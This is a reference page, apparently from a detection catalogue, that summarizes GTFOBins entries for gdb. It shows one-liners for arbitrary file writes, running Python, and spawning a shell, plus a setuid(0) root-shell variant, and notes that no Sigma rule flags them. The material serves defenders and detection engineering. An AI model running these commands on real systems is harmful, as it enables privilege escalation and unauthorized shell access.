Identifier / Programs / Linux and Unix
gdb
The GNU Debugger. tldr-pages
GTFOBins file-write, shell 1 ATT&CK technique 3 documented commands
How gdb is abused
file-write
-nx-exEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for gdb.
3 documented commands
file-write unprivileged, with sudo, as SUID
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quitIdentifyinherit unprivileged, with sudo, as SUID
This allows to run Python code (...).
gdb -nx -ex 'python ...' -ex quitIdentifyshell unprivileged, with sudo, as SUID, with capabilities
gdb -nx -ex '!/bin/sh' -ex quitIdentifyWith capabilities:
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit
None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for gdb. The identifier reads the line of each that runs gdb.